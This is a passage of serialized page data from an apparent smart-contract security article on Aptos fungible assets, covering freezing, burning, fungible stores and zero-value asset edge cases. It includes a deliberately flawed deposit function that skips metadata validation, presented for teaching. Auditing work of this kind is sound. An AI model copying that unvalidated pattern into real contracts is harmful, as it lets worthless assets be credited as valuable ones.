",{"type":24,"tag":80,"props":66993,"children":66995},{"className":66994},[],[66996],{"type":29,"value":66710},{"type":29,"value":66998}," is also required for a ",{"type":24,"tag":80,"props":67000,"children":67002},{"className":67001},[],[67003],{"type":29,"value":67004},"burn_from",{"type":29,"value":67006}," operation, which withdraws the ",{"type":24,"tag":80,"props":67008,"children":67010},{"className":67009},[],[67011],{"type":29,"value":66515},{"type":29,"value":67013}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":24,"tag":25,"props":67015,"children":67016},{},[67017,67019,67024,67026,67033,67035,67040],{"type":29,"value":67018},"Storing ",{"type":24,"tag":80,"props":67020,"children":67022},{"className":67021},[],[67023],{"type":29,"value":66515},{"type":29,"value":67025}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":24,"tag":2773,"props":67027,"children":67030},{"href":67028,"rel":67029},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[2777],[67031],{"type":29,"value":67032},"AIP-21",{"type":29,"value":67034}," summarizes the ",{"type":24,"tag":80,"props":67036,"children":67038},{"className":67037},[],[67039],{"type":29,"value":66515},{"type":29,"value":67041}," problems:",{"type":24,"tag":98,"props":67043,"children":67044},{},[67045,67054],{"type":24,"tag":25,"props":67046,"children":67047},{},[67048,67052],{"type":24,"tag":147,"props":67049,"children":67050},{},[67051],{"type":29,"value":15212},{"type":29,"value":67053}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":24,"tag":25,"props":67055,"children":67056},{},[67057],{"type":29,"value":67058},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":24,"tag":25,"props":67060,"children":67061},{},[67062],{"type":29,"value":67063},"And declares, that:",{"type":24,"tag":98,"props":67065,"children":67066},{},[67067],{"type":24,"tag":25,"props":67068,"children":67069},{},[67070],{"type":29,"value":67071},"Fungible assets addresses these issues.",{"type":24,"tag":25,"props":67073,"children":67074},{},[67075],{"type":29,"value":67076},"Let's find out whether this is indeed the case.",{"type":24,"tag":32,"props":67078,"children":67080},{"id":67079},"the-fungible-assets",[67081],{"type":29,"value":67082},"The fungible assets",{"type":24,"tag":25,"props":67084,"children":67085},{},[67086,67088,67094,67096,67103],{"type":29,"value":67087},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":24,"tag":80,"props":67089,"children":67091},{"className":67090},[],[67092],{"type":29,"value":67093},"FungibleAsset",{"type":29,"value":67095}," uses the ",{"type":24,"tag":2773,"props":67097,"children":67100},{"href":67098,"rel":67099},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[2777],[67101],{"type":29,"value":67102},"hot-potato pattern",{"type":29,"value":978},{"type":24,"tag":137,"props":67105,"children":67107},{"className":8614,"code":67106,"language":8613,"meta":7,"style":7},"struct FungibleAsset {\n    metadata: Object\u003CMetadata>,\n    amount: u64,\n}\n",[67108],{"type":24,"tag":80,"props":67109,"children":67110},{"__ignoreMap":7},[67111,67127,67157,67177],{"type":24,"tag":147,"props":67112,"children":67113},{"class":149,"line":150},[67114,67118,67123],{"type":24,"tag":147,"props":67115,"children":67116},{"style":218},[67117],{"type":29,"value":993},{"type":24,"tag":147,"props":67119,"children":67120},{"style":9044},[67121],{"type":29,"value":67122}," FungibleAsset",{"type":24,"tag":147,"props":67124,"children":67125},{"style":235},[67126],{"type":29,"value":6630},{"type":24,"tag":147,"props":67128,"children":67129},{"class":149,"line":160},[67130,67135,67139,67144,67148,67153],{"type":24,"tag":147,"props":67131,"children":67132},{"style":247},[67133],{"type":29,"value":67134},"    metadata",{"type":24,"tag":147,"props":67136,"children":67137},{"style":241},[67138],{"type":29,"value":978},{"type":24,"tag":147,"props":67140,"children":67141},{"style":9044},[67142],{"type":29,"value":67143}," Object",{"type":24,"tag":147,"props":67145,"children":67146},{"style":235},[67147],{"type":29,"value":3583},{"type":24,"tag":147,"props":67149,"children":67150},{"style":9044},[67151],{"type":29,"value":67152},"Metadata",{"type":24,"tag":147,"props":67154,"children":67155},{"style":235},[67156],{"type":29,"value":11763},{"type":24,"tag":147,"props":67158,"children":67159},{"class":149,"line":169},[67160,67165,67169,67173],{"type":24,"tag":147,"props":67161,"children":67162},{"style":247},[67163],{"type":29,"value":67164},"    amount",{"type":24,"tag":147,"props":67166,"children":67167},{"style":241},[67168],{"type":29,"value":978},{"type":24,"tag":147,"props":67170,"children":67171},{"style":9044},[67172],{"type":29,"value":11484},{"type":24,"tag":147,"props":67174,"children":67175},{"style":235},[67176],{"type":29,"value":1549},{"type":24,"tag":147,"props":67178,"children":67179},{"class":149,"line":178},[67180],{"type":24,"tag":147,"props":67181,"children":67182},{"style":235},[67183],{"type":29,"value":827},{"type":24,"tag":25,"props":67185,"children":67186},{},[67187,67189,67194,67195,67200,67202,67207,67209,67216],{"type":29,"value":67188},"Unlike ",{"type":24,"tag":80,"props":67190,"children":67192},{"className":67191},[],[67193],{"type":29,"value":66548},{"type":29,"value":546},{"type":24,"tag":80,"props":67196,"children":67198},{"className":67197},[],[67199],{"type":29,"value":67093},{"type":29,"value":67201}," types are defined at runtime through the ",{"type":24,"tag":80,"props":67203,"children":67205},{"className":67204},[],[67206],{"type":29,"value":67152},{"type":29,"value":67208}," field. This change was meant to ",{"type":24,"tag":2773,"props":67210,"children":67213},{"href":67211,"rel":67212},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[2777],[67214],{"type":29,"value":67215},"enhance extensibility",{"type":29,"value":978},{"type":24,"tag":98,"props":67218,"children":67219},{},[67220],{"type":24,"tag":25,"props":67221,"children":67222},{},[67223],{"type":29,"value":67224},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":24,"tag":25,"props":67226,"children":67227},{},[67228,67230,67236],{"type":29,"value":67229},"An important implication is that functions accepting ",{"type":24,"tag":80,"props":67231,"children":67233},{"className":67232},[],[67234],{"type":29,"value":67235},"FungibleAssets",{"type":29,"value":67237}," must verify the metadata to ensure valid assets.",{"type":24,"tag":25,"props":67239,"children":67240},{},[67241],{"type":29,"value":67242},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":24,"tag":137,"props":67244,"children":67246},{"className":8614,"code":67245,"language":8613,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n    sender: &signer, fa: FungibleAsset\n) acquires [...] {\n    assert_not_paused();\n    \n    let fa_amount = fungible_asset::amount(&fa);\n    let sender_address = address_of(sender);\n    check_compliance(fa_amount, sender_address);\n    \n    increase_deposit(get_vault(sender_address), fa_amount);\n    \n    primary_fungible_store::deposit(global_vault_address(), fa);\n    \n    event::emit(Deposit {sender_address, fa_amount})\n}\n",[67247],{"type":24,"tag":80,"props":67248,"children":67249},{"__ignoreMap":7},[67250,67287,67325,67349,67361,67369,67414,67448,67478,67485,67522,67529,67567,67574,67620],{"type":24,"tag":147,"props":67251,"children":67252},{"class":149,"line":150},[67253,67258,67262,67267,67271,67275,67279,67283],{"type":24,"tag":147,"props":67254,"children":67255},{"style":247},[67256],{"type":29,"value":67257},"public",{"type":24,"tag":147,"props":67259,"children":67260},{"style":247},[67261],{"type":29,"value":11832},{"type":24,"tag":147,"props":67263,"children":67264},{"style":247},[67265],{"type":29,"value":67266}," deposit",{"type":24,"tag":147,"props":67268,"children":67269},{"style":235},[67270],{"type":29,"value":3583},{"type":24,"tag":147,"props":67272,"children":67273},{"style":9044},[67274],{"type":29,"value":11612},{"type":24,"tag":147,"props":67276,"children":67277},{"style":241},[67278],{"type":29,"value":978},{"type":24,"tag":147,"props":67280,"children":67281},{"style":247},[67282],{"type":29,"value":11556},{"type":24,"tag":147,"props":67284,"children":67285},{"style":235},[67286],{"type":29,"value":12214},{"type":24,"tag":147,"props":67288,"children":67289},{"class":149,"line":160},[67290,67295,67299,67303,67307,67311,67316,67320],{"type":24,"tag":147,"props":67291,"children":67292},{"style":247},[67293],{"type":29,"value":67294},"    sender",{"type":24,"tag":147,"props":67296,"children":67297},{"style":241},[67298],{"type":29,"value":978},{"type":24,"tag":147,"props":67300,"children":67301},{"style":241},[67302],{"type":29,"value":12767},{"type":24,"tag":147,"props":67304,"children":67305},{"style":247},[67306],{"type":29,"value":12772},{"type":24,"tag":147,"props":67308,"children":67309},{"style":235},[67310],{"type":29,"value":546},{"type":24,"tag":147,"props":67312,"children":67313},{"style":247},[67314],{"type":29,"value":67315},"fa",{"type":24,"tag":147,"props":67317,"children":67318},{"style":241},[67319],{"type":29,"value":978},{"type":24,"tag":147,"props":67321,"children":67322},{"style":9044},[67323],{"type":29,"value":67324}," FungibleAsset\n",{"type":24,"tag":147,"props":67326,"children":67327},{"class":149,"line":169},[67328,67332,67336,67340,67344],{"type":24,"tag":147,"props":67329,"children":67330},{"style":235},[67331],{"type":29,"value":564},{"type":24,"tag":147,"props":67333,"children":67334},{"style":247},[67335],{"type":29,"value":11969},{"type":24,"tag":147,"props":67337,"children":67338},{"style":235},[67339],{"type":29,"value":28634},{"type":24,"tag":147,"props":67341,"children":67342},{"style":241},[67343],{"type":29,"value":15212},{"type":24,"tag":147,"props":67345,"children":67346},{"style":235},[67347],{"type":29,"value":67348},"] {\n",{"type":24,"tag":147,"props":67350,"children":67351},{"class":149,"line":178},[67352,67357],{"type":24,"tag":147,"props":67353,"children":67354},{"style":229},[67355],{"type":29,"value":67356},"    assert_not_paused",{"type":24,"tag":147,"props":67358,"children":67359},{"style":235},[67360],{"type":29,"value":9295},{"type":24,"tag":147,"props":67362,"children":67363},{"class":149,"line":187},[67364],{"type":24,"tag":147,"props":67365,"children":67366},{"style":235},[67367],{"type":29,"value":67368},"    \n",{"type":24,"tag":147,"props":67370,"children":67371},{"class":149,"line":196},[67372,67376,67381,67385,67390,67394,67398,67402,67406,67410],{"type":24,"tag":147,"props":67373,"children":67374},{"style":218},[67375],{"type":29,"value":8634},{"type":24,"tag":147,"props":67377,"children":67378},{"style":247},[67379],{"type":29,"value":67380}," fa_amount",{"type":24,"tag":147,"props":67382,"children":67383},{"style":241},[67384],{"type":29,"value":651},{"type":24,"tag":147,"props":67386,"children":67387},{"style":235},[67388],{"type":29,"value":67389}," fungible_asset",{"type":24,"tag":147,"props":67391,"children":67392},{"style":241},[67393],{"type":29,"value":9106},{"type":24,"tag":147,"props":67395,"children":67396},{"style":229},[67397],{"type":29,"value":25910},{"type":24,"tag":147,"props":67399,"children":67400},{"style":235},[67401],{"type":29,"value":480},{"type":24,"tag":147,"props":67403,"children":67404},{"style":241},[67405],{"type":29,"value":485},{"type":24,"tag":147,"props":67407,"children":67408},{"style":247},[67409],{"type":29,"value":67315},{"type":24,"tag":147,"props":67411,"children":67412},{"style":235},[67413],{"type":29,"value":1473},{"type":24,"tag":147,"props":67415,"children":67416},{"class":149,"line":205},[67417,67421,67426,67430,67435,67439,67444],{"type":24,"tag":147,"props":67418,"children":67419},{"style":218},[67420],{"type":29,"value":8634},{"type":24,"tag":147,"props":67422,"children":67423},{"style":247},[67424],{"type":29,"value":67425}," sender_address",{"type":24,"tag":147,"props":67427,"children":67428},{"style":241},[67429],{"type":29,"value":651},{"type":24,"tag":147,"props":67431,"children":67432},{"style":229},[67433],{"type":29,"value":67434}," address_of",{"type":24,"tag":147,"props":67436,"children":67437},{"style":235},[67438],{"type":29,"value":480},{"type":24,"tag":147,"props":67440,"children":67441},{"style":247},[67442],{"type":29,"value":67443},"sender",{"type":24,"tag":147,"props":67445,"children":67446},{"style":235},[67447],{"type":29,"value":1473},{"type":24,"tag":147,"props":67449,"children":67450},{"class":149,"line":214},[67451,67456,67460,67465,67469,67474],{"type":24,"tag":147,"props":67452,"children":67453},{"style":229},[67454],{"type":29,"value":67455},"    check_compliance",{"type":24,"tag":147,"props":67457,"children":67458},{"style":235},[67459],{"type":29,"value":480},{"type":24,"tag":147,"props":67461,"children":67462},{"style":247},[67463],{"type":29,"value":67464},"fa_amount",{"type":24,"tag":147,"props":67466,"children":67467},{"style":235},[67468],{"type":29,"value":546},{"type":24,"tag":147,"props":67470,"children":67471},{"style":247},[67472],{"type":29,"value":67473},"sender_address",{"type":24,"tag":147,"props":67475,"children":67476},{"style":235},[67477],{"type":29,"value":1473},{"type":24,"tag":147,"props":67479,"children":67480},{"class":149,"line":272},[67481],{"type":24,"tag":147,"props":67482,"children":67483},{"style":235},[67484],{"type":29,"value":67368},{"type":24,"tag":147,"props":67486,"children":67487},{"class":149,"line":281},[67488,67493,67497,67502,67506,67510,67514,67518],{"type":24,"tag":147,"props":67489,"children":67490},{"style":229},[67491],{"type":29,"value":67492},"    increase_deposit",{"type":24,"tag":147,"props":67494,"children":67495},{"style":235},[67496],{"type":29,"value":480},{"type":24,"tag":147,"props":67498,"children":67499},{"style":229},[67500],{"type":29,"value":67501},"get_vault",{"type":24,"tag":147,"props":67503,"children":67504},{"style":235},[67505],{"type":29,"value":480},{"type":24,"tag":147,"props":67507,"children":67508},{"style":247},[67509],{"type":29,"value":67473},{"type":24,"tag":147,"props":67511,"children":67512},{"style":235},[67513],{"type":29,"value":20789},{"type":24,"tag":147,"props":67515,"children":67516},{"style":247},[67517],{"type":29,"value":67464},{"type":24,"tag":147,"props":67519,"children":67520},{"style":235},[67521],{"type":29,"value":1473},{"type":24,"tag":147,"props":67523,"children":67524},{"class":149,"line":299},[67525],{"type":24,"tag":147,"props":67526,"children":67527},{"style":235},[67528],{"type":29,"value":67368},{"type":24,"tag":147,"props":67530,"children":67531},{"class":149,"line":308},[67532,67537,67541,67546,67550,67555,67559,67563],{"type":24,"tag":147,"props":67533,"children":67534},{"style":235},[67535],{"type":29,"value":67536},"    primary_fungible_store",{"type":24,"tag":147,"props":67538,"children":67539},{"style":241},[67540],{"type":29,"value":9106},{"type":24,"tag":147,"props":67542,"children":67543},{"style":229},[67544],{"type":29,"value":67545},"deposit",{"type":24,"tag":147,"props":67547,"children":67548},{"style":235},[67549],{"type":29,"value":480},{"type":24,"tag":147,"props":67551,"children":67552},{"style":229},[67553],{"type":29,"value":67554},"global_vault_address",{"type":24,"tag":147,"props":67556,"children":67557},{"style":235},[67558],{"type":29,"value":23982},{"type":24,"tag":147,"props":67560,"children":67561},{"style":247},[67562],{"type":29,"value":67315},{"type":24,"tag":147,"props":67564,"children":67565},{"style":235},[67566],{"type":29,"value":1473},{"type":24,"tag":147,"props":67568,"children":67569},{"class":149,"line":317},[67570],{"type":24,"tag":147,"props":67571,"children":67572},{"style":235},[67573],{"type":29,"value":67368},{"type":24,"tag":147,"props":67575,"children":67576},{"class":149,"line":332},[67577,67582,67586,67591,67595,67600,67604,67608,67612,67616],{"type":24,"tag":147,"props":67578,"children":67579},{"style":235},[67580],{"type":29,"value":67581},"    event",{"type":24,"tag":147,"props":67583,"children":67584},{"style":241},[67585],{"type":29,"value":9106},{"type":24,"tag":147,"props":67587,"children":67588},{"style":229},[67589],{"type":29,"value":67590},"emit",{"type":24,"tag":147,"props":67592,"children":67593},{"style":235},[67594],{"type":29,"value":480},{"type":24,"tag":147,"props":67596,"children":67597},{"style":9044},[67598],{"type":29,"value":67599},"Deposit",{"type":24,"tag":147,"props":67601,"children":67602},{"style":235},[67603],{"type":29,"value":50817},{"type":24,"tag":147,"props":67605,"children":67606},{"style":247},[67607],{"type":29,"value":67473},{"type":24,"tag":147,"props":67609,"children":67610},{"style":235},[67611],{"type":29,"value":546},{"type":24,"tag":147,"props":67613,"children":67614},{"style":247},[67615],{"type":29,"value":67464},{"type":24,"tag":147,"props":67617,"children":67618},{"style":235},[67619],{"type":29,"value":38623},{"type":24,"tag":147,"props":67621,"children":67622},{"class":149,"line":350},[67623],{"type":24,"tag":147,"props":67624,"children":67625},{"style":235},[67626],{"type":29,"value":827},{"type":24,"tag":25,"props":67628,"children":67629},{},[67630],{"type":29,"value":67631},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":24,"tag":25,"props":67633,"children":67634},{},[67635],{"type":29,"value":67636},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":24,"tag":32,"props":67638,"children":67640},{"id":67639},"fungible-stores",[67641],{"type":29,"value":67642},"Fungible stores",{"type":24,"tag":25,"props":67644,"children":67645},{},[67646],{"type":29,"value":67647},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":24,"tag":25,"props":67649,"children":67650},{},[67651,67653,67659],{"type":29,"value":67652},"Meet the ",{"type":24,"tag":80,"props":67654,"children":67656},{"className":67655},[],[67657],{"type":29,"value":67658},"FungibleStore",{"type":29,"value":87},{"type":24,"tag":137,"props":67661,"children":67663},{"className":8614,"code":67662,"language":8613,"meta":7,"style":7},"struct FungibleStore has key {\n    metadata: Object\u003CMetadata>,\n    balance: u64,\n    frozen: bool,\n}\n",[67664],{"type":24,"tag":80,"props":67665,"children":67666},{"__ignoreMap":7},[67667,67691,67718,67738,67757],{"type":24,"tag":147,"props":67668,"children":67669},{"class":149,"line":150},[67670,67674,67679,67683,67687],{"type":24,"tag":147,"props":67671,"children":67672},{"style":218},[67673],{"type":29,"value":993},{"type":24,"tag":147,"props":67675,"children":67676},{"style":9044},[67677],{"type":29,"value":67678}," FungibleStore",{"type":24,"tag":147,"props":67680,"children":67681},{"style":247},[67682],{"type":29,"value":15031},{"type":24,"tag":147,"props":67684,"children":67685},{"style":247},[67686],{"type":29,"value":11556},{"type":24,"tag":147,"props":67688,"children":67689},{"style":235},[67690],{"type":29,"value":6630},{"type":24,"tag":147,"props":67692,"children":67693},{"class":149,"line":160},[67694,67698,67702,67706,67710,67714],{"type":24,"tag":147,"props":67695,"children":67696},{"style":247},[67697],{"type":29,"value":67134},{"type":24,"tag":147,"props":67699,"children":67700},{"style":241},[67701],{"type":29,"value":978},{"type":24,"tag":147,"props":67703,"children":67704},{"style":9044},[67705],{"type":29,"value":67143},{"type":24,"tag":147,"props":67707,"children":67708},{"style":235},[67709],{"type":29,"value":3583},{"type":24,"tag":147,"props":67711,"children":67712},{"style":9044},[67713],{"type":29,"value":67152},{"type":24,"tag":147,"props":67715,"children":67716},{"style":235},[67717],{"type":29,"value":11763},{"type":24,"tag":147,"props":67719,"children":67720},{"class":149,"line":169},[67721,67726,67730,67734],{"type":24,"tag":147,"props":67722,"children":67723},{"style":247},[67724],{"type":29,"value":67725},"    balance",{"type":24,"tag":147,"props":67727,"children":67728},{"style":241},[67729],{"type":29,"value":978},{"type":24,"tag":147,"props":67731,"children":67732},{"style":9044},[67733],{"type":29,"value":11484},{"type":24,"tag":147,"props":67735,"children":67736},{"style":235},[67737],{"type":29,"value":1549},{"type":24,"tag":147,"props":67739,"children":67740},{"class":149,"line":178},[67741,67745,67749,67753],{"type":24,"tag":147,"props":67742,"children":67743},{"style":247},[67744],{"type":29,"value":66795},{"type":24,"tag":147,"props":67746,"children":67747},{"style":241},[67748],{"type":29,"value":978},{"type":24,"tag":147,"props":67750,"children":67751},{"style":9044},[67752],{"type":29,"value":17669},{"type":24,"tag":147,"props":67754,"children":67755},{"style":235},[67756],{"type":29,"value":1549},{"type":24,"tag":147,"props":67758,"children":67759},{"class":149,"line":187},[67760],{"type":24,"tag":147,"props":67761,"children":67762},{"style":235},[67763],{"type":29,"value":827},{"type":24,"tag":25,"props":67765,"children":67766},{},[67767,67772,67774,67779,67781,67786,67788,67793,67795,67800],{"type":24,"tag":80,"props":67768,"children":67770},{"className":67769},[],[67771],{"type":29,"value":67658},{"type":29,"value":67773}," manages balances and metadata instead of holding the actual ",{"type":24,"tag":80,"props":67775,"children":67777},{"className":67776},[],[67778],{"type":29,"value":67093},{"type":29,"value":67780}," (it can't because ",{"type":24,"tag":80,"props":67782,"children":67784},{"className":67783},[],[67785],{"type":29,"value":67093},{"type":29,"value":67787}," doesn't have ",{"type":24,"tag":80,"props":67789,"children":67791},{"className":67790},[],[67792],{"type":29,"value":11565},{"type":29,"value":67794},"). Withdrawals create temporary ",{"type":24,"tag":80,"props":67796,"children":67798},{"className":67797},[],[67799],{"type":29,"value":67093},{"type":29,"value":67801}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":24,"tag":2665,"props":67803,"children":67804},{},[],{"type":24,"tag":25,"props":67806,"children":67807},{},[67808,67810,67815,67817,67822],{"type":29,"value":67809},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":24,"tag":80,"props":67811,"children":67813},{"className":67812},[],[67814],{"type":29,"value":67093},{"type":29,"value":67816}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":24,"tag":80,"props":67818,"children":67820},{"className":67819},[],[67821],{"type":29,"value":67093},{"type":29,"value":87},{"type":24,"tag":137,"props":67824,"children":67826},{"className":8614,"code":67825,"language":8613,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n    let FungibleAsset { amount, metadata: _ } = fungible_asset;\n    assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n    FungibleAsset {\n        metadata: object::convert(metadata),\n        amount: 0,\n    }\n}\n",[67827],{"type":24,"tag":80,"props":67828,"children":67829},{"__ignoreMap":7},[67830,67867,67919,67962,67969,67976,68048,68060,68098,68117,68124],{"type":24,"tag":147,"props":67831,"children":67832},{"class":149,"line":150},[67833,67837,67841,67846,67850,67855,67859,67863],{"type":24,"tag":147,"props":67834,"children":67835},{"style":247},[67836],{"type":29,"value":67257},{"type":24,"tag":147,"props":67838,"children":67839},{"style":247},[67840],{"type":29,"value":11832},{"type":24,"tag":147,"props":67842,"children":67843},{"style":229},[67844],{"type":29,"value":67845}," destroy_zero",{"type":24,"tag":147,"props":67847,"children":67848},{"style":235},[67849],{"type":29,"value":480},{"type":24,"tag":147,"props":67851,"children":67852},{"style":247},[67853],{"type":29,"value":67854},"fungible_asset",{"type":24,"tag":147,"props":67856,"children":67857},{"style":241},[67858],{"type":29,"value":978},{"type":24,"tag":147,"props":67860,"children":67861},{"style":9044},[67862],{"type":29,"value":67122},{"type":24,"tag":147,"props":67864,"children":67865},{"style":235},[67866],{"type":29,"value":505},{"type":24,"tag":147,"props":67868,"children":67869},{"class":149,"line":160},[67870,67874,67878,67882,67886,67890,67895,67899,67903,67907,67911,67915],{"type":24,"tag":147,"props":67871,"children":67872},{"style":218},[67873],{"type":29,"value":8634},{"type":24,"tag":147,"props":67875,"children":67876},{"style":9044},[67877],{"type":29,"value":67122},{"type":24,"tag":147,"props":67879,"children":67880},{"style":235},[67881],{"type":29,"value":15207},{"type":24,"tag":147,"props":67883,"children":67884},{"style":247},[67885],{"type":29,"value":25910},{"type":24,"tag":147,"props":67887,"children":67888},{"style":235},[67889],{"type":29,"value":546},{"type":24,"tag":147,"props":67891,"children":67892},{"style":247},[67893],{"type":29,"value":67894},"metadata",{"type":24,"tag":147,"props":67896,"children":67897},{"style":241},[67898],{"type":29,"value":978},{"type":24,"tag":147,"props":67900,"children":67901},{"style":247},[67902],{"type":29,"value":8669},{"type":24,"tag":147,"props":67904,"children":67905},{"style":235},[67906],{"type":29,"value":41803},{"type":24,"tag":147,"props":67908,"children":67909},{"style":241},[67910],{"type":29,"value":369},{"type":24,"tag":147,"props":67912,"children":67913},{"style":247},[67914],{"type":29,"value":67389},{"type":24,"tag":147,"props":67916,"children":67917},{"style":235},[67918],{"type":29,"value":432},{"type":24,"tag":147,"props":67920,"children":67921},{"class":149,"line":169},[67922,67927,67931,67935,67939,67943,67948,67952,67957],{"type":24,"tag":147,"props":67923,"children":67924},{"style":229},[67925],{"type":29,"value":67926},"    assert!",{"type":24,"tag":147,"props":67928,"children":67929},{"style":235},[67930],{"type":29,"value":480},{"type":24,"tag":147,"props":67932,"children":67933},{"style":247},[67934],{"type":29,"value":25910},{"type":24,"tag":147,"props":67936,"children":67937},{"style":241},[67938],{"type":29,"value":8911},{"type":24,"tag":147,"props":67940,"children":67941},{"style":705},[67942],{"type":29,"value":708},{"type":24,"tag":147,"props":67944,"children":67945},{"style":235},[67946],{"type":29,"value":67947},", error",{"type":24,"tag":147,"props":67949,"children":67950},{"style":241},[67951],{"type":29,"value":9106},{"type":24,"tag":147,"props":67953,"children":67954},{"style":229},[67955],{"type":29,"value":67956},"invalid_argument",{"type":24,"tag":147,"props":67958,"children":67959},{"style":235},[67960],{"type":29,"value":67961},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":24,"tag":147,"props":67963,"children":67964},{"class":149,"line":178},[67965],{"type":24,"tag":147,"props":67966,"children":67967},{"style":235},[67968],{"type":29,"value":827},{"type":24,"tag":147,"props":67970,"children":67971},{"class":149,"line":187},[67972],{"type":24,"tag":147,"props":67973,"children":67974},{"emptyLinePlaceholder":16},[67975],{"type":29,"value":314},{"type":24,"tag":147,"props":67977,"children":67978},{"class":149,"line":196},[67979,67983,67987,67992,67996,68000,68004,68008,68012,68016,68020,68024,68028,68032,68036,68040,68044],{"type":24,"tag":147,"props":67980,"children":67981},{"style":247},[67982],{"type":29,"value":67257},{"type":24,"tag":147,"props":67984,"children":67985},{"style":247},[67986],{"type":29,"value":11832},{"type":24,"tag":147,"props":67988,"children":67989},{"style":247},[67990],{"type":29,"value":67991}," zero",{"type":24,"tag":147,"props":67993,"children":67994},{"style":235},[67995],{"type":29,"value":3583},{"type":24,"tag":147,"props":67997,"children":67998},{"style":9044},[67999],{"type":29,"value":11612},{"type":24,"tag":147,"props":68001,"children":68002},{"style":241},[68003],{"type":29,"value":978},{"type":24,"tag":147,"props":68005,"children":68006},{"style":247},[68007],{"type":29,"value":11556},{"type":24,"tag":147,"props":68009,"children":68010},{"style":235},[68011],{"type":29,"value":13236},{"type":24,"tag":147,"props":68013,"children":68014},{"style":247},[68015],{"type":29,"value":67894},{"type":24,"tag":147,"props":68017,"children":68018},{"style":241},[68019],{"type":29,"value":978},{"type":24,"tag":147,"props":68021,"children":68022},{"style":9044},[68023],{"type":29,"value":67143},{"type":24,"tag":147,"props":68025,"children":68026},{"style":235},[68027],{"type":29,"value":3583},{"type":24,"tag":147,"props":68029,"children":68030},{"style":9044},[68031],{"type":29,"value":11612},{"type":24,"tag":147,"props":68033,"children":68034},{"style":235},[68035],{"type":29,"value":14014},{"type":24,"tag":147,"props":68037,"children":68038},{"style":241},[68039],{"type":29,"value":978},{"type":24,"tag":147,"props":68041,"children":68042},{"style":9044},[68043],{"type":29,"value":67122},{"type":24,"tag":147,"props":68045,"children":68046},{"style":235},[68047],{"type":29,"value":6630},{"type":24,"tag":147,"props":68049,"children":68050},{"class":149,"line":205},[68051,68056],{"type":24,"tag":147,"props":68052,"children":68053},{"style":9044},[68054],{"type":29,"value":68055},"    FungibleAsset",{"type":24,"tag":147,"props":68057,"children":68058},{"style":235},[68059],{"type":29,"value":6630},{"type":24,"tag":147,"props":68061,"children":68062},{"class":149,"line":214},[68063,68068,68072,68077,68081,68086,68090,68094],{"type":24,"tag":147,"props":68064,"children":68065},{"style":247},[68066],{"type":29,"value":68067},"        metadata",{"type":24,"tag":147,"props":68069,"children":68070},{"style":241},[68071],{"type":29,"value":978},{"type":24,"tag":147,"props":68073,"children":68074},{"style":235},[68075],{"type":29,"value":68076}," object",{"type":24,"tag":147,"props":68078,"children":68079},{"style":241},[68080],{"type":29,"value":9106},{"type":24,"tag":147,"props":68082,"children":68083},{"style":229},[68084],{"type":29,"value":68085},"convert",{"type":24,"tag":147,"props":68087,"children":68088},{"style":235},[68089],{"type":29,"value":480},{"type":24,"tag":147,"props":68091,"children":68092},{"style":247},[68093],{"type":29,"value":67894},{"type":24,"tag":147,"props":68095,"children":68096},{"style":235},[68097],{"type":29,"value":12362},{"type":24,"tag":147,"props":68099,"children":68100},{"class":149,"line":272},[68101,68105,68109,68113],{"type":24,"tag":147,"props":68102,"children":68103},{"style":247},[68104],{"type":29,"value":13074},{"type":24,"tag":147,"props":68106,"children":68107},{"style":241},[68108],{"type":29,"value":978},{"type":24,"tag":147,"props":68110,"children":68111},{"style":705},[68112],{"type":29,"value":708},{"type":24,"tag":147,"props":68114,"children":68115},{"style":235},[68116],{"type":29,"value":1549},{"type":24,"tag":147,"props":68118,"children":68119},{"class":149,"line":281},[68120],{"type":24,"tag":147,"props":68121,"children":68122},{"style":235},[68123],{"type":29,"value":1952},{"type":24,"tag":147,"props":68125,"children":68126},{"class":149,"line":299},[68127],{"type":24,"tag":147,"props":68128,"children":68129},{"style":235},[68130],{"type":29,"value":827},{"type":24,"tag":25,"props":68132,"children":68133},{},[68134],{"type":29,"value":68135},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":24,"tag":25,"props":68137,"children":68138},{},[68139,68141,68146],{"type":29,"value":68140},"In practice, the ability to freely mint and burn zero ",{"type":24,"tag":80,"props":68142,"children":68144},{"className":68143},[],[68145],{"type":29,"value":67235},{"type":29,"value":68147}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":24,"tag":43,"props":68149,"children":68151},{"id":68150},"primary-and-secondary-stores",[68152],{"type":29,"value":68153},"Primary and secondary 